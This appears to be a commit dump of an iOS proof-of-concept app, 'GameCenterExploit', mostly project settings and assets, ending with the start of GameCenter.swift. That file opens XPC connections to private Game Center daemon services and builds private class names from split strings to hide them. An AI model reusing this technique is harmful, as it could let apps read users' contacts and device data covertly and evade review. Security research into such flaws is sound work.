isa = PBXGroup;
children = (
DF13AA7425F19E0100A7A7B7 /* AppDelegate.swift */,
DF13AA7625F19E0100A7A7B7 /* SceneDelegate.swift */,
DF13ABDC25F8229800A7A7B7 /* Views */,
DF13AB2E25F5696F00A7A7B7 /* GameCenter.swift */,
DF13AAE725F5067000A7A7B7 /* Headers */,
DF13AA7D25F19E0300A7A7B7 /* Assets.xcassets */,
DF13AA7F25F19E0300A7A7B7 /* LaunchScreen.storyboard */,
DF13AA8225F19E0300A7A7B7 /* Info.plist */,
DF13AACB25F44C9A00A7A7B7 /* GameCenterExploit-Bridging-Header.h */,
);
path = GameCenterExploit;
sourceTree = "<group>";
};
DF13AAE725F5067000A7A7B7 /* Headers */ = {
isa = PBXGroup;
children = (
DF13AB1D25F5185300A7A7B7 /* NSXPCConnectionDelegate.h */,
DF13AB2225F53A3F00A7A7B7 /* NSXPCConnection.h */,
DF13AAC525F40E3300A7A7B7 /* GKDaemonProtocol.h */,
DF13AAD225F4FB4900A7A7B7 /* GKAuthenticateResponse.h */,
DF13AAD625F4FC2800A7A7B7 /* GKPlayerCredential.h */,
DF13AAD725F4FC5F00A7A7B7 /* GKPlayerInternal.h */,
DF13AAD425F4FBE700A7A7B7 /* GKInternalRepresentation.h */,
DF13AACC25F44C9B00A7A7B7 /* GKClientProtocol.h */,
DF13AB2925F5456600A7A7B7 /* GKClientProtocolInterface.h */,
DF13AB2A25F5456600A7A7B7 /* GKClientProtocolInterface.m */,
DF13AAD925F4FE4800A7A7B7 /* GKGameInternal.h */,
DF13AADC25F4FF1100A7A7B7 /* GKStoreItemInternal.h */,
DF13AADA25F4FEAD00A7A7B7 /* GKGameDescriptor.h */,
DF13AADF25F5043D00A7A7B7 /* GKAccountService.h */,
DF13AAE025F5048100A7A7B7 /* GKAccountServicePrivate.h */,
DF13AAE125F504F300A7A7B7 /* GKAnalyticsService.h */,
DF13AAE225F504F800A7A7B7 /* GKAnalyticsServicePrivate.h */,
DF13AAE325F5052600A7A7B7 /* GKBulletinService.h */,
DF13AAE425F5052D00A7A7B7 /* GKBulletinServicePrivate.h */,
DF13AAE525F5056300A7A7B7 /* GKChallengeService.h */,
DF13AAE625F5056A00A7A7B7 /* GKChallengeServicePrivate.h */,
DF13AAF625F506BD00A7A7B7 /* CKXPCShareDaemon.h */,
DF13AAEF25F506BC00A7A7B7 /* GKFriendService.h */,
DF13AAF225F506BC00A7A7B7 /* GKFriendServicePrivate.h */,
DF13AAF825F506BD00A7A7B7 /* GKGameService.h */,
DF13AAF025F506BC00A7A7B7 /* GKGameServicePrivate.h */,
DF13AAF725F506BD00A7A7B7 /* GKGameSessionService.h */,
DF13AAEC25F506BC00A7A7B7 /* GKGameSessionServicePrivate.h */,
DF13AAEE25F506BC00A7A7B7 /* GKGameStatService.h */,
DF13AAF325F506BC00A7A7B7 /* GKGameStatServicePrivate.h */,
DF13AAF425F506BC00A7A7B7 /* GKMultiplayerService.h */,
DF13AAEA25F506BC00A7A7B7 /* GKMultiplayerServicePrivate.h */,
DF13AAED25F506BC00A7A7B7 /* GKProfileService.h */,
DF13AAF525F506BD00A7A7B7 /* GKProfileServicePrivate.h */,
DF13AAF925F506BD00A7A7B7 /* GKTournamentService.h */,
DF13AAE925F506BC00A7A7B7 /* GKTournamentServicePrivate.h */,
DF13AAEB25F506BC00A7A7B7 /* GKTurnBasedService.h */,
DF13AAF125F506BC00A7A7B7 /* GKTurnBasedServicePrivate.h */,
DF13AAFB25F506BD00A7A7B7 /* GKUtilityService.h */,
DF13AAFA25F506BD00A7A7B7 /* GKUtilityServicePrivate.h */,
DF13AB0A25F509D300A7A7B7 /* GKAchievementInternal.h */,
DF13AB0625F509D300A7A7B7 /* GKChallengeInternal.h */,
DF13AB0725F509D300A7A7B7 /* GKConcernInternal.h */,
DF13AAFF25F509D200A7A7B7 /* GKCustomTournamentRequestInternal.h */,
DF13AB0125F509D200A7A7B7 /* GKInviteInternal.h */,
DF13AB0325F509D200A7A7B7 /* GKLeaderboardEntryInternal.h */,
DF13AB0B25F509D400A7A7B7 /* GKLeaderboardInternal.h */,
DF13AB0C25F509D400A7A7B7 /* GKLeaderboardScoreRequest.h */,
DF13AAFE25F509D200A7A7B7 /* GKLeaderboardSummaryInternal.h */,
DF13AB0525F509D200A7A7B7 /* GKMatchRequestInternal.h */,
DF13AB0425F509D200A7A7B7 /* GKMatchResponse.h */,
DF13AB0225F509D200A7A7B7 /* GKScoreInternal.h */,
DF13AB0825F509D300A7A7B7 /* GKTournamentDefinitionInternal.h */,
DF13AB0025F509D200A7A7B7 /* GKTournamentInternal.h */,
DF13AB0D25F509D400A7A7B7 /* GKTournamentParticipantHistoricalDataInternal.h */,
DF13AB0E25F509D400A7A7B7 /* GKTournamentParticipantInternal.h */,
DF13AAFD25F509D200A7A7B7 /* GKTournamentParticipantRequestInternal.h */,
DF13AB0925F509D300A7A7B7 /* GKTurnBasedMatchInternal.h */,
DF13AB1125F50BCF00A7A7B7 /* GKDispatchGroup.h */,
DF13AB1025F50BCF00A7A7B7 /* GKRecurrenceRule.h */,
DF13AB1325F50C1800A7A7B7 /* GKActivity.h */,
DF13AB1225F50C1800A7A7B7 /* GKThreadsafeDictionary.h */,
DF13AB1525F5113A00A7A7B7 /* GKFriendRequestInternal.h */,
DF13AB1625F5116100A7A7B7 /* GKFamiliarPlayerInternal.h */,
DF13AB1825F514DA00A7A7B7 /* GKDaemonInterface.h */,
DF13AB1925F514DA00A7A7B7 /* GKDaemonProxy.h */,
DF13AB1B25F514DA00A7A7B7 /* GKServiceInterface.h */,
DF13AB1A25F514DA00A7A7B7 /* GKServiceProxy.h */,
DF13AB1F25F5188500A7A7B7 /* GKDaemonProxyDataUpdateDelegate.h */,
DF13AB2025F5188500A7A7B7 /* GKDaemonProxyNetworkActivityIndicatorDelegate.h */,
DF13AB2425F53F9200A7A7B7 /* GKClientInterface.h */,
DF13AB2625F5436A00A7A7B7 /* GKLocalPlayerInternal.h */,
DF13AB2725F5438300A7A7B7 /* GKFriendPlayerInternal.h */,
);
path = Headers;
sourceTree = "<group>";
};
DF13ABDC25F8229800A7A7B7 /* Views */ = {
isa = PBXGroup;
children = (
DF13ABB125F7A5B400A7A7B7 /* ContentView.swift */,
DF13ABB825F7ACDF00A7A7B7 /* CoreDuetView.swift */,
DF13ABC725F7C59400A7A7B7 /* DuetInteractionsView.swift */,
DF13ABD025F7E09800A7A7B7 /* DuetInteractionView.swift */,
DF13ABCA25F7C59E00A7A7B7 /* DuetAttachmentsView.swift */,
DF13ABC425F7C57100A7A7B7 /* DuetContactsView.swift */,
DF13ABCD25F7C72400A7A7B7 /* DuetContactView.swift */,
DF13ABBB25F7ACE900A7A7B7 /* SpeedDialView.swift */,
DF13ABBE25F7ACF200A7A7B7 /* AddressBookView.swift */,
DF13ABD325F8068700A7A7B7 /* AddressBookContactView.swift */,
DF13ABC125F7AD0200A7A7B7 /* AddressBookImagesView.swift */,
DF13ABB525F7AC9600A7A7B7 /* MobileGestaltView.swift */,
);
path = Views;
sourceTree = "<group>";
};
/* End PBXGroup section */
/* Begin PBXNativeTarget section */
DF13AA7025F19E0100A7A7B7 /* GameCenterExploit */ = {
isa = PBXNativeTarget;
buildConfigurationList = DF13AA8525F19E0300A7A7B7 /* Build configuration list for PBXNativeTarget "GameCenterExploit" */;
buildPhases = (
DF13AA6D25F19E0100A7A7B7 /* Sources */,
DF13AA6E25F19E0100A7A7B7 /* Frameworks */,
DF13AA6F25F19E0100A7A7B7 /* Resources */,
);
buildRules = (
);
dependencies = (
);
name = GameCenterExploit;
packageProductDependencies = (
DFCDD4E625F83768002ED9C2 /* GRDB */,
DFCDD4EA25F83789002ED9C2 /* Dynamic */,
);
productName = hxx;
productReference = DF13AA7125F19E0100A7A7B7 /* GameCenterExploit.app */;
productType = "com.apple.product-type.application";
};
/* End PBXNativeTarget section */
/* Begin PBXProject section */
DF13AA6925F19E0000A7A7B7 /* Project object */ = {
isa = PBXProject;
attributes = {
LastSwiftUpdateCheck = 1240;
LastUpgradeCheck = 1240;
TargetAttributes = {
DF13AA7025F19E0100A7A7B7 = {
CreatedOnToolsVersion = 12.4;
LastSwiftMigration = 1240;
};
};
};
buildConfigurationList = DF13AA6C25F19E0000A7A7B7 /* Build configuration list for PBXProject "GameCenterExploit" */;
compatibilityVersion = "Xcode 9.3";
developmentRegion = en;
hasScannedForEncodings = 0;
knownRegions = (
en,
Base,
);
mainGroup = DF13AA6825F19E0000A7A7B7;
packageReferences = (
DFCDD4E525F83768002ED9C2 /* XCRemoteSwiftPackageReference "GRDB.swift" */,
DFCDD4E925F83789002ED9C2 /* XCRemoteSwiftPackageReference "Dynamic" */,
);
productRefGroup = DF13AA7225F19E0100A7A7B7 /* Products */;
projectDirPath = "";
projectRoot = "";
targets = (
DF13AA7025F19E0100A7A7B7 /* GameCenterExploit */,
);
};
/* End PBXProject section */
/* Begin PBXResourcesBuildPhase section */
DF13AA6F25F19E0100A7A7B7 /* Resources */ = {
isa = PBXResourcesBuildPhase;
buildActionMask = 2147483647;
files = (
DF13AA8125F19E0300A7A7B7 /* LaunchScreen.storyboard in Resources */,
DF13AA7E25F19E0300A7A7B7 /* Assets.xcassets in Resources */,
);
runOnlyForDeploymentPostprocessing = 0;
};
/* End PBXResourcesBuildPhase section */
/* Begin PBXSourcesBuildPhase section */
DF13AA6D25F19E0100A7A7B7 /* Sources */ = {
isa = PBXSourcesBuildPhase;
buildActionMask = 2147483647;
files = (
DF13ABB925F7ACDF00A7A7B7 /* CoreDuetView.swift in Sources */,
DF13ABD425F8068700A7A7B7 /* AddressBookContactView.swift in Sources */,
DF13ABCE25F7C72400A7A7B7 /* DuetContactView.swift in Sources */,
DF13AA7525F19E0100A7A7B7 /* AppDelegate.swift in Sources */,
DF13ABC225F7AD0200A7A7B7 /* AddressBookImagesView.swift in Sources */,
DF13ABC825F7C59400A7A7B7 /* DuetInteractionsView.swift in Sources */,
DF13AB2B25F5456700A7A7B7 /* GKClientProtocolInterface.m in Sources */,
DF13ABB225F7A5B500A7A7B7 /* ContentView.swift in Sources */,
DF13ABBF25F7ACF200A7A7B7 /* AddressBookView.swift in Sources */,
DF13ABC525F7C57100A7A7B7 /* DuetContactsView.swift in Sources */,
DF13AB2F25F5696F00A7A7B7 /* GameCenter.swift in Sources */,
DF13ABBC25F7ACE900A7A7B7 /* SpeedDialView.swift in Sources */,
DF13AA7725F19E0100A7A7B7 /* SceneDelegate.swift in Sources */,
DF13ABCB25F7C59E00A7A7B7 /* DuetAttachmentsView.swift in Sources */,
DF13ABB625F7AC9600A7A7B7 /* MobileGestaltView.swift in Sources */,
DF13ABD125F7E09800A7A7B7 /* DuetInteractionView.swift in Sources */,
);
runOnlyForDeploymentPostprocessing = 0;
};
/* End PBXSourcesBuildPhase section */
/* Begin PBXVariantGroup section */
DF13AA7F25F19E0300A7A7B7 /* LaunchScreen.storyboard */ = {
isa = PBXVariantGroup;
children = (
DF13AA8025F19E0300A7A7B7 /* Base */,
);
name = LaunchScreen.storyboard;
sourceTree = "<group>";
};
/* End PBXVariantGroup section */
/* Begin XCBuildConfiguration section */
DF13AA8325F19E0300A7A7B7 /* Debug */ = {
isa = XCBuildConfiguration;
buildSettings = {
ALWAYS_SEARCH_USER_PATHS = NO;
CLANG_ANALYZER_NONNULL = YES;
CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;
CLANG_CXX_LANGUAGE_STANDARD = "gnu++14";
CLANG_CXX_LIBRARY = "libc++";
CLANG_ENABLE_MODULES = YES;
CLANG_ENABLE_OBJC_ARC = YES;
CLANG_ENABLE_OBJC_WEAK = YES;
CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;
CLANG_WARN_BOOL_CONVERSION = YES;
CLANG_WARN_COMMA = YES;
CLANG_WARN_CONSTANT_CONVERSION = YES;
CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES;
CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;
CLANG_WARN_DOCUMENTATION_COMMENTS = YES;
CLANG_WARN_EMPTY_BODY = YES;
CLANG_WARN_ENUM_CONVERSION = YES;
CLANG_WARN_INFINITE_RECURSION = YES;
CLANG_WARN_INT_CONVERSION = YES;
CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;
CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES;
CLANG_WARN_OBJC_LITERAL_CONVERSION = YES;
CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;
CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES;
CLANG_WARN_RANGE_LOOP_ANALYSIS = YES;
CLANG_WARN_STRICT_PROTOTYPES = YES;
CLANG_WARN_SUSPICIOUS_MOVE = YES;
CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE;
CLANG_WARN_UNREACHABLE_CODE = YES;
CLANG_WARN__DUPLICATE_METHOD_MATCH = YES;
COPY_PHASE_STRIP = NO;
DEBUG_INFORMATION_FORMAT = dwarf;
ENABLE_STRICT_OBJC_MSGSEND = YES;
ENABLE_TESTABILITY = YES;
GCC_C_LANGUAGE_STANDARD = gnu11;
GCC_DYNAMIC_NO_PIC = NO;
GCC_NO_COMMON_BLOCKS = YES;
GCC_OPTIMIZATION_LEVEL = 0;
GCC_PREPROCESSOR_DEFINITIONS = (
"DEBUG=1",
"$(inherited)",
);
GCC_WARN_64_TO_32_BIT_CONVERSION = YES;
GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;
GCC_WARN_UNDECLARED_SELECTOR = YES;
GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;
GCC_WARN_UNUSED_FUNCTION = YES;
GCC_WARN_UNUSED_VARIABLE = YES;
IPHONEOS_DEPLOYMENT_TARGET = 14.4;
MTL_ENABLE_DEBUG_INFO = INCLUDE_SOURCE;
MTL_FAST_MATH = YES;
ONLY_ACTIVE_ARCH = YES;
SDKROOT = iphoneos;
SWIFT_ACTIVE_COMPILATION_CONDITIONS = DEBUG;
SWIFT_OPTIMIZATION_LEVEL = "-Onone";
};
name = Debug;
};
DF13AA8425F19E0300A7A7B7 /* Release */ = {
isa = XCBuildConfiguration;
buildSettings = {
ALWAYS_SEARCH_USER_PATHS = NO;
CLANG_ANALYZER_NONNULL = YES;
CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;
CLANG_CXX_LANGUAGE_STANDARD = "gnu++14";
CLANG_CXX_LIBRARY = "libc++";
CLANG_ENABLE_MODULES = YES;
CLANG_ENABLE_OBJC_ARC = YES;
CLANG_ENABLE_OBJC_WEAK = YES;
CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;
CLANG_WARN_BOOL_CONVERSION = YES;
CLANG_WARN_COMMA = YES;
CLANG_WARN_CONSTANT_CONVERSION = YES;
CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES;
CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;
CLANG_WARN_DOCUMENTATION_COMMENTS = YES;
CLANG_WARN_EMPTY_BODY = YES;
CLANG_WARN_ENUM_CONVERSION = YES;
CLANG_WARN_INFINITE_RECURSION = YES;
CLANG_WARN_INT_CONVERSION = YES;
CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;
CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES;
CLANG_WARN_OBJC_LITERAL_CONVERSION = YES;
CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;
CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES;
CLANG_WARN_RANGE_LOOP_ANALYSIS = YES;
CLANG_WARN_STRICT_PROTOTYPES = YES;
CLANG_WARN_SUSPICIOUS_MOVE = YES;
CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE;
CLANG_WARN_UNREACHABLE_CODE = YES;
CLANG_WARN__DUPLICATE_METHOD_MATCH = YES;
COPY_PHASE_STRIP = NO;
DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym";
ENABLE_NS_ASSERTIONS = NO;
ENABLE_STRICT_OBJC_MSGSEND = YES;
GCC_C_LANGUAGE_STANDARD = gnu11;
GCC_NO_COMMON_BLOCKS = YES;
GCC_WARN_64_TO_32_BIT_CONVERSION = YES;
GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;
GCC_WARN_UNDECLARED_SELECTOR = YES;
GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;
GCC_WARN_UNUSED_FUNCTION = YES;
GCC_WARN_UNUSED_VARIABLE = YES;
IPHONEOS_DEPLOYMENT_TARGET = 14.4;
MTL_ENABLE_DEBUG_INFO = NO;
MTL_FAST_MATH = YES;
SDKROOT = iphoneos;
SWIFT_COMPILATION_MODE = wholemodule;
SWIFT_OPTIMIZATION_LEVEL = "-O";
VALIDATE_PRODUCT = YES;
};
name = Release;
};
DF13AA8625F19E0300A7A7B7 /* Debug */ = {
isa = XCBuildConfiguration;
buildSettings = {
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor;
CLANG_ENABLE_MODULES = YES;
CODE_SIGN_STYLE = Automatic;
CURRENT_PROJECT_VERSION = 4;
DEVELOPMENT_TEAM = ZGR22SPY5B;
INFOPLIST_FILE = GameCenterExploit/Info.plist;
LD_RUNPATH_SEARCH_PATHS = (
"$(inherited)",
"@executable_path/Frameworks",
);
PRODUCT_BUNDLE_IDENTIFIER = dt.hxx;
PRODUCT_NAME = "$(TARGET_NAME)";
SWIFT_OBJC_BRIDGING_HEADER = "GameCenterExploit/GameCenterExploit-Bridging-Header.h";
SWIFT_OPTIMIZATION_LEVEL = "-Onone";
SWIFT_VERSION = 5.0;
TARGETED_DEVICE_FAMILY = "1,2";
};
name = Debug;
};
DF13AA8725F19E0300A7A7B7 /* Release */ = {
isa = XCBuildConfiguration;
buildSettings = {
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor;
CLANG_ENABLE_MODULES = YES;
CODE_SIGN_STYLE = Automatic;
CURRENT_PROJECT_VERSION = 4;
DEVELOPMENT_TEAM = ZGR22SPY5B;
INFOPLIST_FILE = GameCenterExploit/Info.plist;
LD_RUNPATH_SEARCH_PATHS = (
"$(inherited)",
"@executable_path/Frameworks",
);
PRODUCT_BUNDLE_IDENTIFIER = dt.hxx;
PRODUCT_NAME = "$(TARGET_NAME)";
SWIFT_OBJC_BRIDGING_HEADER = "GameCenterExploit/GameCenterExploit-Bridging-Header.h";
SWIFT_VERSION = 5.0;
TARGETED_DEVICE_FAMILY = "1,2";
};
name = Release;
};
/* End XCBuildConfiguration section */
/* Begin XCConfigurationList section */
DF13AA6C25F19E0000A7A7B7 /* Build configuration list for PBXProject "GameCenterExploit" */ = {
isa = XCConfigurationList;
buildConfigurations = (
DF13AA8325F19E0300A7A7B7 /* Debug */,
DF13AA8425F19E0300A7A7B7 /* Release */,
);
defaultConfigurationIsVisible = 0;
defaultConfigurationName = Release;
};
DF13AA8525F19E0300A7A7B7 /* Build configuration list for PBXNativeTarget "GameCenterExploit" */ = {
isa = XCConfigurationList;
buildConfigurations = (
DF13AA8625F19E0300A7A7B7 /* Debug */,
DF13AA8725F19E0300A7A7B7 /* Release */,
);
defaultConfigurationIsVisible = 0;
defaultConfigurationName = Release;
};
/* End XCConfigurationList section */
/* Begin XCRemoteSwiftPackageReference section */
DFCDD4E525F83768002ED9C2 /* XCRemoteSwiftPackageReference "GRDB.swift" */ = {
isa = XCRemoteSwiftPackageReference;
repositoryURL = "https://github.com/groue/GRDB.swift.git";
requirement = {
kind = upToNextMajorVersion;
minimumVersion = 5.5.0;
};
};
DFCDD4E925F83789002ED9C2 /* XCRemoteSwiftPackageReference "Dynamic" */ = {
isa = XCRemoteSwiftPackageReference;
repositoryURL = "https://github.com/mhdhejazi/Dynamic.git";
requirement = {
kind = upToNextMajorVersion;
minimumVersion = 1.2.0;
};
};
/* End XCRemoteSwiftPackageReference section */
/* Begin XCSwiftPackageProductDependency section */
DFCDD4E625F83768002ED9C2 /* GRDB */ = {
isa = XCSwiftPackageProductDependency;
package = DFCDD4E525F83768002ED9C2 /* XCRemoteSwiftPackageReference "GRDB.swift" */;
productName = GRDB;
};
DFCDD4EA25F83789002ED9C2 /* Dynamic */ = {
isa = XCSwiftPackageProductDependency;
package = DFCDD4E925F83789002ED9C2 /* XCRemoteSwiftPackageReference "Dynamic" */;
productName = Dynamic;
};
/* End XCSwiftPackageProductDependency section */
};
rootObject = DF13AA6925F19E0000A7A7B7 /* Project object */;
}

7
GameCenterExploit.xcodeproj/project.xcworkspace/contents.xcworkspacedata

@ -0,0 +1,7 @@
<?xml version="1.0" encoding="UTF-8"?>
<Workspace
version = "1.0">
<FileRef
location = "self:">
</FileRef>
</Workspace>

8
GameCenterExploit.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist

@ -0,0 +1,8 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>IDEDidComputeMac32BitWarning</key>
<true/>
</dict>
</plist>

25
GameCenterExploit.xcodeproj/project.xcworkspace/xcshareddata/swiftpm/Package.resolved

@ -0,0 +1,25 @@
{
"object": {
"pins": [
{
"package": "Dynamic",
"repositoryURL": "https://github.com/mhdhejazi/Dynamic.git",
"state": {
"branch": null,
"revision": "ab9a2570862d54aed2663691bb767f881226a12f",
"version": "1.2.0"
}
},
{
"package": "GRDB",
"repositoryURL": "https://github.com/groue/GRDB.swift.git",
"state": {
"branch": null,
"revision": "3b6cf4c12b91fd0827419ac4307069efbf7cb65e",
"version": "5.5.0"
}
}
]
},
"version": 1
}

17
GameCenterExploit/AppDelegate.swift

@ -0,0 +1,17 @@
import UIKit
@main
class AppDelegate: UIResponder, UIApplicationDelegate {
func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]?) -> Bool {
return true
}
func application(_ application: UIApplication, configurationForConnecting connectingSceneSession: UISceneSession, options: UIScene.ConnectionOptions) -> UISceneConfiguration {
return UISceneConfiguration(name: "Default Configuration", sessionRole: connectingSceneSession.role)
}
func application(_ application: UIApplication, didDiscardSceneSessions sceneSessions: Set<UISceneSession>) {
}
}

11
GameCenterExploit/Assets.xcassets/AccentColor.colorset/Contents.json

@ -0,0 +1,11 @@
{
"colors" : [
{
"idiom" : "universal"
}
],
"info" : {
"author" : "xcode",
"version" : 1
}
}

BIN
GameCenterExploit/Assets.xcassets/AppIcon.appiconset/1024.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 114 KiB

BIN
GameCenterExploit/Assets.xcassets/AppIcon.appiconset/120-1.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.1 KiB

BIN
GameCenterExploit/Assets.xcassets/AppIcon.appiconset/120.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.1 KiB

BIN
GameCenterExploit/Assets.xcassets/AppIcon.appiconset/152.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 8.1 KiB

BIN
GameCenterExploit/Assets.xcassets/AppIcon.appiconset/167.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 9.5 KiB

BIN
GameCenterExploit/Assets.xcassets/AppIcon.appiconset/180.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 10 KiB

BIN
GameCenterExploit/Assets.xcassets/AppIcon.appiconset/20.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 825 B

BIN
GameCenterExploit/Assets.xcassets/AppIcon.appiconset/29.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.1 KiB

BIN
GameCenterExploit/Assets.xcassets/AppIcon.appiconset/40-1.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.6 KiB

BIN
GameCenterExploit/Assets.xcassets/AppIcon.appiconset/40-2.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.6 KiB

BIN
GameCenterExploit/Assets.xcassets/AppIcon.appiconset/40.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.6 KiB

BIN
GameCenterExploit/Assets.xcassets/AppIcon.appiconset/58-1.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.4 KiB

BIN
GameCenterExploit/Assets.xcassets/AppIcon.appiconset/58.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.4 KiB

BIN
GameCenterExploit/Assets.xcassets/AppIcon.appiconset/60.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.6 KiB

BIN
GameCenterExploit/Assets.xcassets/AppIcon.appiconset/76.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.3 KiB

BIN
GameCenterExploit/Assets.xcassets/AppIcon.appiconset/80-1.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.6 KiB

BIN
GameCenterExploit/Assets.xcassets/AppIcon.appiconset/80.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.6 KiB

BIN
GameCenterExploit/Assets.xcassets/AppIcon.appiconset/87.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.0 KiB

116
GameCenterExploit/Assets.xcassets/AppIcon.appiconset/Contents.json

@ -0,0 +1,116 @@
{
"images" : [
{
"filename" : "40-2.png",
"idiom" : "iphone",
"scale" : "2x",
"size" : "20x20"
},
{
"filename" : "60.png",
"idiom" : "iphone",
"scale" : "3x",
"size" : "20x20"
},
{
"filename" : "58.png",
"idiom" : "iphone",
"scale" : "2x",
"size" : "29x29"
},
{
"filename" : "87.png",
"idiom" : "iphone",
"scale" : "3x",
"size" : "29x29"
},
{
"filename" : "80.png",
"idiom" : "iphone",
"scale" : "2x",
"size" : "40x40"
},
{
"filename" : "120.png",
"idiom" : "iphone",
"scale" : "3x",
"size" : "40x40"
},
{
"filename" : "120-1.png",
"idiom" : "iphone",
"scale" : "2x",
"size" : "60x60"
},
{
"filename" : "180.png",
"idiom" : "iphone",
"scale" : "3x",
"size" : "60x60"
},
{
"filename" : "20.png",
"idiom" : "ipad",
"scale" : "1x",
"size" : "20x20"
},
{
"filename" : "40.png",
"idiom" : "ipad",
"scale" : "2x",
"size" : "20x20"
},
{
"filename" : "29.png",
"idiom" : "ipad",
"scale" : "1x",
"size" : "29x29"
},
{
"filename" : "58-1.png",
"idiom" : "ipad",
"scale" : "2x",
"size" : "29x29"
},
{
"filename" : "40-1.png",
"idiom" : "ipad",
"scale" : "1x",
"size" : "40x40"
},
{
"filename" : "80-1.png",
"idiom" : "ipad",
"scale" : "2x",
"size" : "40x40"
},
{
"filename" : "76.png",
"idiom" : "ipad",
"scale" : "1x",
"size" : "76x76"
},
{
"filename" : "152.png",
"idiom" : "ipad",
"scale" : "2x",
"size" : "76x76"
},
{
"filename" : "167.png",
"idiom" : "ipad",
"scale" : "2x",
"size" : "83.5x83.5"
},
{
"filename" : "1024.png",
"idiom" : "ios-marketing",
"scale" : "1x",
"size" : "1024x1024"
}
],
"info" : {
"author" : "xcode",
"version" : 1
}
}

6
GameCenterExploit/Assets.xcassets/Contents.json

@ -0,0 +1,6 @@
{
"info" : {
"author" : "xcode",
"version" : 1
}
}

25
GameCenterExploit/Base.lproj/LaunchScreen.storyboard

@ -0,0 +1,25 @@
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<document type="com.apple.InterfaceBuilder3.CocoaTouch.Storyboard.XIB" version="3.0" toolsVersion="13122.16" targetRuntime="iOS.CocoaTouch" propertyAccessControl="none" useAutolayout="YES" launchScreen="YES" useTraitCollections="YES" useSafeAreas="YES" colorMatched="YES" initialViewController="01J-lp-oVM">
<dependencies>
<plugIn identifier="com.apple.InterfaceBuilder.IBCocoaTouchPlugin" version="13104.12"/>
<capability name="Safe area layout guides" minToolsVersion="9.0"/>
<capability name="documents saved in the Xcode 8 format" minToolsVersion="8.0"/>
</dependencies>
<scenes>
<!--View Controller-->
<scene sceneID="EHf-IW-A2E">
<objects>
<viewController id="01J-lp-oVM" sceneMemberID="viewController">
<view key="view" contentMode="scaleToFill" id="Ze5-6b-2t3">
<rect key="frame" x="0.0" y="0.0" width="375" height="667"/>
<autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
<color key="backgroundColor" xcode11CocoaTouchSystemColor="systemBackgroundColor" cocoaTouchSystemColor="whiteColor"/>
<viewLayoutGuide key="safeArea" id="6Tk-OE-BBY"/>
</view>
</viewController>
<placeholder placeholderIdentifier="IBFirstResponder" id="iYj-Kq-Ea1" userLabel="First Responder" sceneMemberID="firstResponder"/>
</objects>
<point key="canvasLocation" x="53" y="375"/>
</scene>
</scenes>
</document>

288
GameCenterExploit/GameCenter.swift

@ -0,0 +1,288 @@
import Foundation
import GameKit
import Dynamic
var client: GamedClient!
var connection: NSXPCConnection!
func getData(files: [String], handler: @escaping (String, String) -> Void, fileExtractionCompletion: @escaping () -> Void) {
let profileServiceInterface = NSXPCInterface(with: GKProfileService.self)
profileServiceInterface.setClasses(NSSet(array: [NSClassFromString(["GKLoc","lPlayerInternal"].joined(separator: "a")), NSClassFromString(["GKFri", "ndPlayerInternal"].joined(separator: "e")), NSClassFromString(["GKFami", "iarPlayerInternal"].joined(separator: "l")), NSMutableArray.self, NSArray.self ]) as! Set<AnyHashable>, for: NSSelectorFromString("getProfilesForPlayerIDs:handler:"), argumentIndex: 0, ofReply: true)
let friendServiceInterface = NSXPCInterface(with: GKFriendService.self)
